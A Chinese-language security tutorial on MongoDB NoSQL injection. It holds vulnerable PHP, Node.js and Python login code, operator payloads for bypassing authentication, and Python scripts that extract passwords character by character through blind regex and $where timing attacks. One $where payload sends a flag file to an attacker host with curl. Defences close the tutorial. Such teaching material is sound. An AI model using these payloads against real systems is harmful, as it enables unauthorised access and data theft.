前言 NoSQL 注入(NoSQL Injection)是 SQL 注入在 NoSQL 数据库(MongoDB、CouchDB、Redis 等)中的类比。与 SQL 注入不同的是,NoSQL 攻击通常不是通过拼接查询字符串,而是利用应用层将用户输入直接作为查询操作符传入数据库 。
核心原理:
1 2 3 4 用户传入 username[$regex]=.* → PHP 将参数解析为数组 → 查询变成 {"username": {"$regex": ".*"}} → MongoDB 执行正则匹配 → 绕过认证 / 泄露数据
和 SQL 注入的关键区别:
SQL 注入
NoSQL 注入
注入点
SQL 字符串拼接
JSON/BSON 操作符注入
攻击目标
闭合引号、构造 UNION、堆叠查询
注入 $regex、$ne、$where 等操作符
盲注方式
SUBSTR + 二分法
$regex + 逐字符匹配 / $where + 时间延迟
数据库
MySQL / PostgreSQL / Oracle 等
MongoDB / CouchDB / Redis 等
本文以 MongoDB 为主,从基础语法讲起,覆盖 PHP、Node.js、Python 三种语言场景下的注入、盲注、绕过与防御。
一、MongoDB 基础速查 1.1 常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 show dbs use test1 db.getName () db.user .find () db.user .find ().pretty () db.user .insert ({"name" : "alice" }) db.user .find ({"name" : "user1" , "age" : "25" }) db.user .find ({"$or" : [{"name" : "a" }, {"name" : "b" }]})
1.2 文档模型 MongoDB 存储的是 BSON 文档(类似 JSON),一个集合(Collection)相当于关系型数据库的表,一个文档(Document)相当于一行记录:
1 2 3 4 5 6 { "_id" : ObjectId("507f1f77bcf86cd799439011" ), "username" : "admin" , "password" : "supersecret123" , "role" : "admin" }
1.3 操作符一览 MongoDB 查询使用 $ 前缀的操作符来表达条件:
操作符
含义
示例
$eq
等于
{"age": {"$eq": 25}}
$ne
不等于
{"age": {"$ne": 25}}
$gt
大于
{"age": {"$gt": 25}}
$gte
大于等于
{"age": {"$gte": 25}}
$lt
小于
{"age": {"$lt": 25}}
$lte
小于等于
{"age": {"$lte": 25}}
$in
包含(在列表中)
{"role": {"$in": ["admin", "root"]}}
$nin
不包含(不在列表中)
{"role": {"$nin": ["guest"]}}
$regex
正则匹配
{"username": {"$regex": "^adm"}}
$and
逻辑与
{"$and": [{"a": 1}, {"b": 2}]}
$or
逻辑或
{"$or": [{"a": 1}, {"b": 2}]}
$nor
逻辑 NOR
{"$nor": [{"a": 1}, {"b": 2}]}
$not
逻辑非
{"age": {"$not": {"$gt": 25}}}
$exists
字段存在
{"password": {"$exists": true}}
$type
字段类型匹配
{"age": {"$type": "int"}}
$where
执行 JavaScript
{"$where": "sleep(5000)"}
关键: $regex 可用于盲注逐字符爆破。$where 可以执行任意 JS,是最危险的注入点。
二、PHP + MongoDB 注入 2.1 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $ret = array ();$ret ['msg' ] = '登陆失败' ;$username = isset ($_POST ['username' ]) ? strval ($_POST ['username' ]) : '' ;$password = isset ($_POST ['password' ]) ? strval ($_POST ['password' ]) : '' ;if (empty ($username ) || empty ($password )) { $ret ['msg' ] = '用户名或密码不能为空' ; die (json_encode ($ret )); } try { $manager = new MongoDB\Driver\Manager ("mongodb://localhost:27017" ); } catch (Exception $e ) { $ret ['msg' ] = '数据库连接失败' ; die (json_encode ($ret )); } $filter = [ 'username' => $username , 'password' => $password ]; $query = new MongoDB\Driver\Query ($filter );$cursor = $manager ->executeQuery ('ctfshow.ctfshow_user' , $query )->toArray ();if (count ($cursor ) > 0 ) { $ret ['msg' ] = '登陆成功' ; } else { $ret ['msg' ] = '用户名或密码错误' ; } echo json_encode ($ret );?>
漏洞点: $username 和 $password 直接传给 MongoDB\Driver\Query。PHP 的 URL 参数解析机制会把 username[$regex]=.* 自动转换为数组,MongoDB 将数组内容作为查询操作符执行。
2.2 绕过认证 1 2 3 4 POST /login.php HTTP/1.1 Content-Type : application/x-www-form-urlencodedusername[$regex]=.*&password[$regex]=.*
PHP 解析后:
1 2 3 4 5 6 $filter = [ 'username' => ['$regex' => '.*' ], 'password' => ['$regex' => '.*' ] ];
其他绕过方式:
1 2 3 4 5 6 7 8 9 10 11 # $ne 绕过:username 不等于空字符串 username[$ne]=&password[$ne]= # $gt 绕过:username 大于空字符串 username[$gt]=&password[$gt]= # $in 绕过:username 在包含空字符串的列表中 username[$in][]=admin&password[$ne]= # 组合绕过:username 不等于空 且 password 不等于空 username[$ne]=x&password[$ne]=x
2.3 盲注爆数据 当登录成功后没有返回用户信息,只有”成功/失败”两种状态,可以用 $regex 逐字符盲注:
1 2 3 4 5 6 7 8 # 猜测 password 第一个字符是否为 'a' username=admin&password[$regex]=^a # 猜测 password 前两个字符 = 'ab' username=admin&password[$regex]=^ab # 猜测 password 以什么结尾 username=admin&password[$regex]=d$
盲注脚本框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringurl = "http://target.com/login.php" charset = string.ascii_letters + string.digits + "{}_-!@#$%^&*" password = "" while True : found = False for char in charset: test = password + char data = { "username" : "admin" , "password[$regex]" : f"^{test} " } r = requests.post(url, data=data) if "登陆成功" in r.text: password += char print (f"[+] {password} " ) found = True break if not found: print (f"[!] Done: {password} " ) break
2.4 利用 $where 做时间盲注 如果 $regex 被过滤,且查询允许 $where 操作符,可以用 JavaScript 延迟:
1 2 3 4 5 # 如果第一个字符等于 'a',则 sleep 3 秒,否则不 sleep username=admin&password[$where]=if(this.password[0]=='a',sleep(3000),false) # 或更精确地 username=admin&password[$where]=function(){if(this.password[0]=='a'){sleep(3000);return true;}return false;}
根据响应时间判断字符是否正确。
三、Node.js + Express + MongoDB 注入(MEAN 栈) Node.js 环境下的 MongoDB 注入由于 JS 原生支持 JSON,payload 传递更加直接。
3.1 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 const express = require ('express' );const MongoClient = require ('mongodb' ).MongoClient ;const app = express ();app.use (express.json ()); app.use (express.urlencoded ({ extended : true })); app.post ('/login' , async (req, res) => { const { username, password } = req.body ; const client = await MongoClient .connect ('mongodb://localhost:27017' ); const db = client.db ('test' ); const users = db.collection ('users' ); const user = await users.findOne ({ username : username, password : password }); if (user) { res.json ({ msg : '登录成功' , data : user }); } else { res.json ({ msg : '用户名或密码错误' }); } client.close (); });
3.2 JSON POST 绕过认证 1 2 3 4 POST /login HTTP/1.1 Content-Type : application/json{"username" : {"$regex " : ".*" }, "password" : {"$regex " : ".*" }}
或:
1 { "username" : { "$ne" : "" } , "password" : { "$ne" : "" } }
3.3 利用 $where RCE(极危险) 如果应用使用 $where 或拼接用户输入到 $where 中:
1 2 3 4 POST /login HTTP/1.1 Content-Type : application/json{"username" : "admin" , "$where " : "sleep(5000) || true" }
更严重的 RCE:
1 2 3 4 { "username" : "admin" , "$where" : "function(){ require('child_process').exec('curl http://attacker/$(cat /flag|base64)'); return true; }" }
注意: $where 本身不会直接将用户输入拼进 JS,但结合后端的字符串拼接就会非常危险。此外 MongoDB 5.0+ 的 $function 操作符和 $accumulator 也有类似能力。
四、Python + PyMongo 注入 4.1 漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from flask import Flask, request, jsonifyfrom pymongo import MongoClientapp = Flask(__name__) client = MongoClient('localhost' , 27017 ) db = client['test' ] @app.route('/login' , methods=['POST' ] ) def login (): data = request.get_json() user = db.users.find_one({ 'username' : data.get('username' ), 'password' : data.get('password' ) }) if user: return jsonify({'msg' : '登录成功' , 'role' : str (user.get('role' ))}) return jsonify({'msg' : '登录失败' })
4.2 Blind Regex 逐字符爆破 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport stringcharset = string.printable def check_regex (field, regex_pattern ): data = { "username" : "admin" , field: {"$regex" : regex_pattern} } r = requests.post("http://target/login" , json=data) return "登录成功" in r.text password = "" while True : found = False for c in charset: if check_regex("password" , f"^{password} {c} " ): password += c print (f"[+] {password} " ) found = True break if not found: break print (f"[!] Password: {password} " )
五、操作符注入技巧汇总 5.1 认证绕过速查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # $ne(不等于空) username[$ne]=&password[$ne]= # $regex(任意匹配) username[$regex]=.*&password[$regex]=.* # $gt(大于空字符串) username[$gt]=&password[$gt]= # $exists(字段存在检查) username[$exists]=true&password[$exists]=true # $in 数组 username[$in][]=admin&password[$ne]= # 组合:OR 注入 username=admin&password[$regex]=.*&$or[0][username]=admin
5.2 信息收集 1 2 3 4 5 6 7 8 # 判断是否有 role 字段 username=admin&role[$exists]=true # 判断 password 长度 username=admin&password[$regex]=^.{8}$ # 用 $regex 带选项(大小写不敏感) username[$regex]=admin&username[$options]=i
5.3 PHP 参数名编码 1 2 3 4 5 # 直接表单 POST username[$regex]=^a&password[$ne]= # JSON POST(需 Content-Type: application/json) {"username": {"$regex": "^a"}, "password": {"$ne": ""}}
5.4 PHP 端 strval() 的局限 原文代码中 $username = isset($_POST['username']) ? strval($_POST['username']) : '';——PHP 的 strval() 只能将标量转成字符串。但如果 $_POST['username'] 本身是一个数组 (如 username[$regex]=.*),strval() 会直接将其转成字符串 "Array",导致注入失效。
所以原文的 POC 需要修改才能生效: 去掉 strval() 或不做类型转换,直接将 $_POST['username'] 传入 filter。
实际漏洞通常出现在没有 strval() 保护的场景、或使用 extract() / 直接遍历 $_POST 构建 filter 的代码中。
六、Blind NoSQL Injection 高级策略 6.1 布尔盲注 1 2 # 逐字符:匹配/不匹配 → 成功/失败 username=admin&password[$regex]=^flag{a
6.2 时间盲注 1 2 3 4 5 # $where JS 延迟 username=admin&password[$where]=if(this.password[0]=='a',sleep(3000),0) # CouchDB(类似例子) # 利用 _find 的 sort 做时间差异
6.3 错误回显注入 某些 MongoDB 驱动会将错误信息返回给客户端,可以利用它泄露数据:
1 2 # 尝试触发类型转换错误 username[$type]=1
6.4 完整盲注脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import requestsimport stringimport timeTARGET = "http://target.com/login.php" CHARSET = string.ascii_letters + string.digits + "_{}" def test_regex (field, pattern ): """测试 $regex 匹配,返回是否登录成功""" data = { "username" : "admin" , f"{field} [$regex]" : pattern } r = requests.post(TARGET, data=data, timeout=10 ) return "登陆成功" in r.text def test_where (field, condition ): """测试 $where 时间盲注(延迟 2 秒 = 匹配成功)""" data = { "username" : "admin" , f"{field} [$where]" : condition } start = time.time() r = requests.post(TARGET, data=data, timeout=10 ) elapsed = time.time() - start return elapsed > 1.5 def blind_regex (field ): """布尔盲注逐字符爆破""" result = "" while True : found = False for c in CHARSET: pattern = f"^{result} {c} " if test_regex(field, pattern): result += c print (f"\r[*] {field} : {result} " , end="" ) found = True break if not found: break print (f"\n[+] {field} = {result} " ) return result def blind_where (field ): """时间盲注逐字符爆破""" result = "" while True : found = False for c in CHARSET: condition = f"function(){{if(this.{field} [{len (result)} ]=='{c} '){{sleep(2000);return true;}}return false;}}" if test_where(field, condition): result += c print (f"\r[*] {field} : {result} " , end="" ) found = True break if not found: break print (f"\n[+] {field} = {result} " ) return result if __name__ == "__main__" : password = blind_regex("password" )
七、NoSQL 注入工具 7.1 NoSQLMap 1 2 3 4 5 6 7 8 9 10 git clone https://github.com/codingo/NoSQLMap.git cd NoSQLMappython setup.py install python nosqlmap.py
NoSQLMap 支持:
自动检测 NoSQL 注入点
MongoDB 和 CouchDB 注入利用
认证绕过
数据库和数据集合枚举
7.2 NoSQLi(Burp Suite 扩展) Burp Suite BApp Store 中搜索 “NoSQLi” → 安装 → 右键请求 → “Send to NoSQLi” → 自动生成 payload。
7.3 手动测试清单 1 2 3 4 5 6 7 1. 改 Content-Type 为 application/json → 测试 JSON 注入 2. 参数后加 [$regex]=.* → 测试操作符注入 3. 参数后加 [$ne]= → 测试 $ne 绕过 4. 参数后加 [$gt]= → 测试比较符绕过 5. 参数后加 [$where]=sleep(3000) → 测试 $where 注入 6. 观察响应时间差异 → 时间盲注 7. 观察错误信息 → 错误注入
八、防御措施
层面
措施
说明
输入校验
严格类型检查,拒绝数组类型的参数
检查 typeof username !== 'string'
输入校验
白名单允许的字段
只接受已知字段名,拒绝含 $ 开头的参数名
ORM/ODM
使用 Mongoose(Node.js)的 schema 校验
Mongoose 的 SchemaType 会过滤操作符
mongo-sanitize
使用 sanitize 库
npm install mongo-sanitize → sanitize(req.body)
禁止 $where
在 MongoDB 服务端禁用 $where
设置 javascriptEnabled: false(MongoDB 配置)
最小权限
数据库账户只授予必要的权限
应用账户不应该有 eval、mapReduce 等权限
WAF
检测请求参数名中的 $ 符号
$regex、$ne 等模式 → 拒绝或清理
代码审计
不将用户输入直接作为对象 key 传入查询
显式构建 filter 对象,而非 $_POST 直接传递
mongo-sanitize(Node.js) 1 2 3 4 5 6 7 8 9 const sanitize = require ('mongo-sanitize' );app.post ('/login' , async (req, res) => { const clean = sanitize (req.body ); const user = await users.findOne ({ username : clean.username , password : clean.password }); });
PHP 类型防御 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $filter = [ 'username' => $_POST ['username' ], 'password' => $_POST ['password' ] ]; $filter = [ 'username' => (string ) $_POST ['username' ], 'password' => (string ) $_POST ['password' ] ]; if (is_array ($_POST ['username' ]) || is_array ($_POST ['password' ])) { die ("Invalid input" ); }
MongoDB 服务端配置 1 2 3 security: javascriptEnabled: false
九、快速决策树 1 2 3 4 5 6 7 8 NoSQL 注入检测: ├── 参数传数组 → username[$regex]=.* → 操作符注入! ├── 响应显示数据 → $regex 盲注逐字符爆 ├── 响应只显示成功/失败 → 布尔盲注($regex) ├── 响应时间有差异 → 时间盲注($where + sleep) ├── 有错误回显 → 错误注入 ├── Content-Type 改 JSON → {"$ne": ""} → JSON 注入 └── 无任何回显/差异 → NoSQLMap 扫描 + OOB 尝试
参考